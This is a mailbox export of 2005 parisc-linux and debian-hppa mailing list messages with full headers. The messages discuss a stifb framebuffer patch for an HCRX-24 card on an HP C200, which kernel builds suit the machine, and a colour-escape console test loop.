Cc: Fabio Bizzi <fbizzi@bizzi.org>,
 parisc-linux@parisc-linux.org,
 debian-hppa@lists.debian.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:28:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Dec 2005 20:42:56 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [146.82.138.6]
  by mx0.gmx.net (mx056) with SMTP; 19 Dec 2005 21:42:56 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 555BA2E20B; Mon, 19 Dec 2005 14:42:50 -0600 (CST)
Old-Return-Path: <willy@parisc-linux.org>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by murphy.debian.org (Postfix) with ESMTP id 13CB42E0AF
	for <debian-hppa@lists.debian.org>; Mon, 19 Dec 2005 14:27:03 -0600 (CST)
Original-Received: by palinux.hppa (Postfix, from userid 26919)
	id 0A1E54941E0; Mon, 19 Dec 2005 13:27:05 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200512192104.48593.deller@gmx.de>
User-Agent: Mutt/1.5.9i
X-Rc-Spam: 2005-09-11_01
X-Rc-Virus: 2005-11-10_01
X-Rc-Spam: 2005-09-11_01
X-Spam-Checker-Version: SpamAssassin 3.0.3 (2005-04-27) on murphy.debian.org
X-Spam-Status: No, score=0.1 required=4.0 tests=AWL,FORGED_RCVD_HELO 
	autolearn=no version=3.0.3
Resent-Message-ID: <jLahTC.A.rNH.KtxpDB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/5012
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Mon, 19 Dec 2005 14:42:50 -0600 (CST)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: B37VYy4veSEkSr6WZHQhaXN1IGRvb4Dj
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25241

On Mon, Dec 19, 2005 at 09:04:48PM +0100, Helge Deller wrote:
> 2.6.15-rc6-pa1 is currently beeing built.
> During the next hour I assume it should be finished and you may download it from here: http://cvs.parisc-linux.org/download/linux-2.6/
> (I assume a B180 might be close to your c200 ?).

Unfortunately not.  The B180 build has CCIO disabled, so it's much less
useful than it might otherwise be.  I keep threatening to rename the
b180_defconfig to c110_defconfig and enable CCIO, HPPB, ZALON, LASI_82596,
HIL, MUX and HARMONY.

Then I think I should just delete it and people with Raven-class
machines should just use the 32 build and be happy about it.

So in the meantime we keep building a not-very-useful config.


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:36:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andy Walker <ajwalker@broadpark.no>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HCRX-24 and missing consoles on my C200
Date: Mon, 19 Dec 2005 21:21:49 +0100
Lines: 44
Approved: news@gmane.org
Message-ID: <43A7165D.4040606__7991.37764047391$1416624578$gmane$org@broadpark.no>
References: <43971676.1010009@gmail.com> <200512191639.44027.deller@gmx.de>
 <43A6F709.3080008@bizzi.org> <200512192104.48593.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416624578 27474 80.91.229.3 (22 Nov 2014 02:49:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:38 +0000 (UTC)
Cc: Fabio Bizzi <fbizzi@bizzi.org>,
 parisc-linux@parisc-linux.org,
 debian-hppa@lists.debian.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:28:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <ajwalker@broadpark.no>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Dec 2005 20:23:45 -0000
Original-Received: from osl1smout1.broadpark.no (EHLO osl1smout1.broadpark.no) [80.202.4.58]
  by mx0.gmx.net (mx031) with SMTP; 19 Dec 2005 21:23:45 +0100
Original-Received: from osl1sminn1.broadpark.no ([80.202.4.59])
 by osl1smout1.broadpark.no
 (Sun Java System Messaging Server 6.1 HotFix 0.05 (built Oct 21 2004))
 with ESMTP id <0IRR0056AI76WP40@osl1smout1.broadpark.no> for deller@gmx.de;
 Mon, 19 Dec 2005 21:28:18 +0100 (CET)
Original-Received: from tolstoy.puszczka.com ([84.48.69.228]) by osl1sminn1.broadpark.no
 (Sun Java System Messaging Server 6.1 HotFix 0.05 (built Oct 21 2004))
 with ESMTP id <0IRR00IXXI43IP10@osl1sminn1.broadpark.no> for deller@gmx.de;
 Mon, 19 Dec 2005 21:26:27 +0100 (CET)
Original-Received: from [192.168.1.11] (ferret.puszczka.com [192.168.1.11])
	by tolstoy.puszczka.com (Postfix) with ESMTP id 6BF5E1331A; Mon,
 19 Dec 2005 22:15:47 +0100 (CET)
In-reply-to: <200512192104.48593.deller@gmx.de>
User-Agent: Thunderbird 1.4 (Windows/20050908)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: hXPVY/tXeSEkbb6WZHQhaXN1IGRvb0Cg
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25242

Helge Deller wrote:
> Hello Fabio,
> 
> On Monday 19 December 2005 19:08, Fabio Bizzi wrote:
>> Helge Deller wrote:
>>> I just committed a patch to stifb in kernel 2.6.15-rc6-pa1.
>>> Could you please try this one? It works for me... :-)
>> I'm sorry, but I didn't undestrand if you have fixed my problem with 
>> HCRX-24? :)
> 
> Probably not.
> Your main problem is that you see this message:
> 
> STI GSC/PCI core graphics driver Version 0.9a
>      id 2bcb015a-9a02587, conforms to spec rev. 8.04
> STI init_graph failed (ret -1, errno 258)
> sti: probe of 10:8 failed with error 1
> 
> "init_graph" is a graphic card firmware function, which seems to not work on your system.
> Some HP firmwares have support to "patch" the graphic card firmware before executing "init_graph".
> This is probably not the case for your c200.
> 
> So, please check if your machine runs the latest HP-C200 firmware.
> For this please read the PARISC-Linux FAQ at http://www.parisc-linux.org/faq/index.html#PDCupdate ("How can I check if the PDC (firmware) revision is the latest?").
> 
> Additionally I will try write some patch-code during the next weeks, which might get your card working even on the C200 and other machines. Stay tuned.
>  
>> If yes the kernel with your patch is aivailable on cvs.parisc-linux.org 
>> or I've to patch the source and compile it?
> 
> 2.6.15-rc6-pa1 is currently beeing built.
> During the next hour I assume it should be finished and you may download it from here: http://cvs.parisc-linux.org/download/linux-2.6/
> (I assume a B180 might be close to your c200 ?).
> 
> Helge

I'll give it a spin on the B132. The C180 is in storage right now,
though with the cold weather we're having I could justify running
it purely as a heater ;-) That thing really generates some heat
when its chock of 64MB SIMMs.

-Andy



From - Thu Nov 08 21:36:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stuart Brady <sdbrady@ntlworld.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HCRX-24 and missing consoles on my C200
Followup-To: gmane.linux.debian.ports.hppa
Date: Mon, 19 Dec 2005 20:30:48 +0000
Lines: 32
Approved: news@gmane.org
Message-ID: <20051219203048.GA2197__8502.06701220504$1416624578$gmane$org@ntlworld.com>
References: <43971676.1010009@gmail.com>
	<1354.193.160.141.5.1134039392.squirrel@www.puszczka.com>
	<20051208173922.GA2515@ntlworld.com>
	<200512191639.44027.deller@gmx.de>
	<20051219170717.GA1464@ntlworld.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624578 27475 80.91.229.3 (22 Nov 2014 02:49:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:38 +0000 (UTC)
To: debian-hppa@lists.debian.org,
 parisc-linux@parisc-linux.org,
 Helge Deller <deller@dmx.de>,
 Andy Walker <andy@puszczka.com>
Original-X-From: - Wed Jul 02 21:28:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Dec 2005 20:31:01 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx022) with SMTP; 19 Dec 2005 21:31:01 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 72DE67D6EF;
	Mon, 19 Dec 2005 13:30:58 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32045-01; Mon, 19 Dec 2005 13:30:57 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C48BD7D6E8;
	Mon, 19 Dec 2005 13:30:56 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ED44D7D6E5
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Dec 2005 13:30:53 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31856-05 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Dec 2005 13:30:53 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 6A4A07D6D0
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Dec 2005 13:30:53 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id AAC514941E5; Mon, 19 Dec 2005 13:30:52 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mta08-winn.ispmail.ntl.com (mta08-winn.ispmail.ntl.com
	[81.103.221.48]) by palinux.hppa (Postfix) with ESMTP id 299F24941E0
	for <parisc-linux@parisc-linux.org>;
	Mon, 19 Dec 2005 13:30:52 -0700 (MST)
Original-Received: from aamta10-winn.ispmail.ntl.com ([81.103.221.35])
	by mta08-winn.ispmail.ntl.com with ESMTP id
	<20051219203051.FLCQ17804.mta08-winn.ispmail.ntl.com@aamta10-winn.ispmail.ntl.com>;
	Mon, 19 Dec 2005 20:30:51 +0000
Original-Received: from janus ([82.9.44.76]) by aamta10-winn.ispmail.ntl.com with ESMTP
	id <20051219203051.ONWW1068.aamta10-winn.ispmail.ntl.com@janus>;
	Mon, 19 Dec 2005 20:30:51 +0000
Original-Received: from sdb by janus with local (Exim 3.35 #1 (Debian))
	id 1EoRei-0000Zg-00; Mon, 19 Dec 2005 20:30:48 +0000
Mail-Followup-To: debian-hppa@lists.debian.org,
	parisc-linux@parisc-linux.org, Helge Deller <deller@dmx.de>,
	Andy Walker <andy@puszczka.com>
Content-Disposition: inline
In-Reply-To: <20051219170717.GA1464@ntlworld.com>
User-Agent: Mutt/1.3.28i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 0X3VY88LeSEkZL6WZHQhaXN1IGRvb0An
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25243

On Mon, Dec 19, 2005 at 05:07:17PM +0000, Stuart Brady wrote:
> On Mon, Dec 19, 2005 at 04:39:43PM +0100, Helge Deller wrote:
> > Hi all,
> > 
> > I just committed a patch to stifb in kernel 2.6.15-rc6-pa1.
> > Could you please try this one? It works for me... :-)
> > 
> > Stuart's hint with starting X and then switching back again pointed to
> > a bug in the palette handling of stifb, which I hopefully fixed now.
> 
> Ooh!  I'll test this...  Unfortunately, I'm compiling on a 715/100 so
> bear with me for a moment. :)

Seems to work fine... except for a few black patches on Tux's feet.

I've tested using:

for n in 0 1; do
	for m in 0 4 1 5 2 6 3 7; do
		echo -e "\033[${n};3${m}mTesting\033[m"
	done
done

Works as expected.
-- 
Stuart Brady
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Fabio Bizzi <fbizzi@bizzi.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HCRX-24 and missing consoles on my C200
Date: Tue, 20 Dec 2005 08:44:28 +0100
Organization: bizzi.org
Lines: 24
Approved: news@gmane.org
Message-ID: <43A7B65C.4050203__33543.2477332235$1416624579$gmane$org@bizzi.org>
References: <43971676.1010009@gmail.com> <200512191639.44027.deller@gmx.de> <43A6F709.3080008@bizzi.org> <200512192104.48593.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624579 27479 80.91.229.3 (22 Nov 2014 02:49:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:39 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
 parisc-linux@parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:28:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <fbizzi@bizzi.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Dec 2005 07:44:31 -0000
Original-Received: from unknown (EHLO ns.bizzi.org) [213.213.72.170]
  by mx0.gmx.net (mx076) with SMTP; 20 Dec 2005 08:44:31 +0100
Original-Received: (qmail 17558 invoked by uid 89); 20 Dec 2005 07:39:57 -0000
Original-Received: by simscan 1.1.0 ppid: 17551, pid: 17554, t: 1.8312s
         scanners: clamav: 0.86.2/m:33/d:1061 spam: 3.0.4
X-Spam-Checker-Version: SpamAssassin 3.1.0 (2005-09-13) on ns.bizzi.org
X-Spam-Status: No, score=0.0 required=4.0 tests=none autolearn=ham 
	version=3.1.0
Original-Received: from unknown (HELO ?213.213.72.248?) (fabio@bizzi.org@213.213.72.248)
  by ns.bizzi.org with SMTP; 20 Dec 2005 07:39:56 -0000
User-Agent: Mozilla Thunderbird 1.0.7-1.1.fc4 (X11/20050929)
X-Accept-Language: en-us, en
In-Reply-To: <200512192104.48593.deller@gmx.de>
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: CNPVY6UheSEkPr6WZHQhaXN1IGRvb4AE
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25244

Helge Deller wrote:
>>I'm sorry, but I didn't undestrand if you have fixed my problem with 
>>HCRX-24? :)
> 
> Probably not.

Next Time! :)

> So, please check if your machine runs the latest HP-C200 firmware.

Done, I've updated PDC Firmware to the latest release when I bought the 
C200, actually It runs 6.3

> Additionally I will try write some patch-code during the next weeks, which might get your card working even on the C200 and other machines. Stay tuned.

You have all my thanks! :)

Thank You!

Ciao.

	Fabio.



From - Thu Nov 08 21:36:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Fabio Bizzi <fbizzi@bizzi.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HCRX-24 and missing consoles on my C200
Date: Tue, 20 Dec 2005 08:49:40 +0100
Organization: bizzi.org
Lines: 25
Approved: news@gmane.org
Message-ID: <43A7B794.1060409__17788.4300509051$1416624579$gmane$org@bizzi.org>
References: <43971676.1010009@gmail.com> <200512191639.44027.deller@gmx.de> <43A6F709.3080008@bizzi.org> <200512192104.48593.deller@gmx.de> <20051219202705.GR2361@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624579 27481 80.91.229.3 (22 Nov 2014 02:49:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:39 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org,
 debian-hppa@lists.debian.org
To: debian-hppa@lists.debian.org
Original-X-From: - Wed Jul 02 21:28:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Dec 2005 07:49:49 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [146.82.138.6]
  by mx0.gmx.net (mx076) with SMTP; 20 Dec 2005 08:49:49 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 396802E3DD; Tue, 20 Dec 2005 01:49:44 -0600 (CST)
Old-Return-Path: <fbizzi@bizzi.org>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from ns.bizzi.org (unknown [213.213.72.170])
	by murphy.debian.org (Postfix) with ESMTP id 5BB1D2E396
	for <debian-hppa@lists.debian.org>; Tue, 20 Dec 2005 01:49:41 -0600 (CST)
Original-Received: (qmail 17694 invoked by uid 89); 20 Dec 2005 07:45:11 -0000
Original-Received: by simscan 1.1.0 ppid: 17676, pid: 17680, t: 3.1774s
         scanners: clamav: 0.86.2/m:33/d:1061 spam: 3.0.4
Original-Received: from unknown (HELO ?213.213.72.248?) (fabio@bizzi.org@213.213.72.248)
  by ns.bizzi.org with SMTP; 20 Dec 2005 07:45:08 -0000
User-Agent: Mozilla Thunderbird 1.0.7-1.1.fc4 (X11/20050929)
X-Accept-Language: en-us, en
In-Reply-To: <20051219202705.GR2361@parisc-linux.org>
X-Rc-Virus: 2005-11-10_01
X-Rc-Spam: 2005-09-11_01
X-Spam-Checker-Version: SpamAssassin 3.0.3 (2005-04-27) on murphy.debian.org
X-Spam-Status: No, score=-2.6 required=4.0 tests=AWL,LDOSUBSCRIBER 
	autolearn=no version=3.0.3
Resent-Message-ID: <Op9Xp.A.QwH.Ye7pDB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/5015
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Tue, 20 Dec 2005 01:49:44 -0600 (CST)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: ydLVY/sfeSEkPr6WZHQhaXN1IGRvb8Cs
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25245

Matthew Wilcox wrote:
>>(I assume a B180 might be close to your c200 ?).
> 
> Unfortunately not.  The B180 build has CCIO disabled, so it's much less
> useful than it might otherwise be.  I keep threatening to rename the
> b180_defconfig to c110_defconfig and enable CCIO, HPPB, ZALON, LASI_82596,
> HIL, MUX and HARMONY.

Thank you, but I'm a bit cunfused, what is the kernel image that best 
suit my C200? (I've understand that 64Bit kernel is only useful if I 
have more than 3GB of RAM, so 32Bit kernel with working front-led is 
wonderfull for me! :) )

Thank You again.

Ciao.

	Fabio.


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:36:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kurt Fitzner <kfitzner@excelcia.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Debian parisc boot CD maintainer
Date: Tue, 20 Dec 2005 16:28:24 -0700
Lines: 7
Approved: news@gmane.org
Message-ID: <43A89398.9080603@excelcia.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624579 27484 80.91.229.3 (22 Nov 2014 02:49:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:39 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Dec 2005 23:30:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx082) with SMTP; 21 Dec 2005 00:30:48 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 276CA7D714;
	Tue, 20 Dec 2005 16:30:43 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12352-09; Tue, 20 Dec 2005 16:30:43 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 00CA87D715;
	Tue, 20 Dec 2005 16:30:42 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F00487D711
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 20 Dec 2005 16:30:38 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12352-06 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 20 Dec 2005 16:30:38 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 6EC667D6F2
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 20 Dec 2005 16:30:38 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 982584941E0; Tue, 20 Dec 2005 16:30:37 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pd5mo3so.prod.shaw.ca (shawidc-mo1.cg.shawcable.net
	[24.71.223.10]) by palinux.hppa (Postfix) with ESMTP id 5A614494054
	for <parisc-linux@parisc-linux.org>;
	Tue, 20 Dec 2005 16:30:37 -0700 (MST)
Original-Received: from pd4mr5so.prod.shaw.ca (pd4mr5so-qfe3.prod.shaw.ca [10.0.141.50])
	by l-daemon (Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15
	2004)) with ESMTP id <0IRT001PDL7D4C90@l-daemon> for
	parisc-linux@parisc-linux.org; Tue, 20 Dec 2005 16:28:25 -0700 (MST)
Original-Received: from pn2ml10so.prod.shaw.ca ([10.0.121.80])
	by pd4mr5so.prod.shaw.ca (Sun ONE Messaging Server 6.0 HotFix 1.01
	(built Mar
	15 2004)) with ESMTP id <0IRT0030GL7DFKG0@pd4mr5so.prod.shaw.ca> for
	parisc-linux@parisc-linux.org; Tue, 20 Dec 2005 16:28:25 -0700 (MST)
Original-Received: from guardian.excelcia.org ([68.149.196.244])
	by l-daemon (Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15
	2004)) with ESMTP id <0IRT00NMQL7D0U90@l-daemon> for
	parisc-linux@parisc-linux.org; Tue, 20 Dec 2005 16:28:25 -0700 (MST)
Original-Received: from [192.168.200.13] (frisket.excelcia.org [192.168.200.13])
	by guardian.excelcia.org (8.13.3/8.13.3) with ESMTP id
	jBKNSOlZ015154	for
	<parisc-linux@parisc-linux.org>; Tue, 20 Dec 2005 16:28:24 -0700
X-Accept-Language: en-us, en
Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAMAAABg3Am1AAAAQlBMVEUIEQ8THRofGw4lLyc0
	LRBLJhxhQzVGTkRiZFWSUkSfUzesS0CBYVB6hnS5bV3Bbk/PaVapgW7uhW6WraG42c6+4NXI/Dbc
	AAACM0lEQVR42tWU23qkIBCEQVRolIOi7/+qWw14yoxk93LbSfJNqL+rOIjY/7HEfwFstf4WYG1y
	XCltvwNZbjTKaGNM+g1gvdOloDfabU0AwTdT5KpiOjWAQ69QB6L09gqUPCYj48g/KKBvQM1v5nks
	ReQJRO++A1sOZKCHbh7JxzV67wH26Q3gQKyPPsa4coUAj9G0AajDelRgi7kJLP7sf1i8OuwJAHKf
	8gq41qRh4NcHMDci7SZHWn84LC2HeX5YMDC41hxAgIHUe/K5xt697fSeWI2NJhBE/BdFdmkCIx4i
	7DIIIgrBTu/AxgZ8hChEy91tQMWlcfjmhWOAweZBGlcG0uvx3l3ZaGvjdZpi3N6BhKMHgOy6ThMT
	MdjHnD9fIA7DkTxN8GCzpfUCIZP3IQM+5GnY+fs7fVxeiXeacq6AUAg0py/Adt52yWBZKUcisgxQ
	p7S7rjTx0IPAy2lpyNDEm0aDQEllXDqBu37DeUDXiSuywdBBjqfrOu0K8NBrNQxkWR54xsT6bAGg
	51MoHvqkoB8Gbp5XaDj0GVA97g/x0GfnrqsE2h96EFLCok8XsO9O5qFCTMT6ByAVPMQtvqxjTKDY
	S96ADh91Avum8L9zOCe72h8WslfinO5dn4fFs7JDV4GiL3Vv+OEA13K75O/qofnhIPM6YbwuT14D
	9ZHj1r+mEny3yLJmKiMNKGO1vSxqJWUL4Zy6zlYVseKDJuRrKiFqjOvXe/vSSGl1pf9Fz/UHUt53
	+mfdrmkAAAAASUVORK5CYII=
X-Enigmail-Version: 0.93.0.0
X-Virus-Scanned: ClamAV version 0.87,
	clamav-milter version 0.87 on guardian.excelcia.org
X-Virus-Status: Clean
User-Agent: Mozilla Thunderbird 1.0.7 (Windows/20050923)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
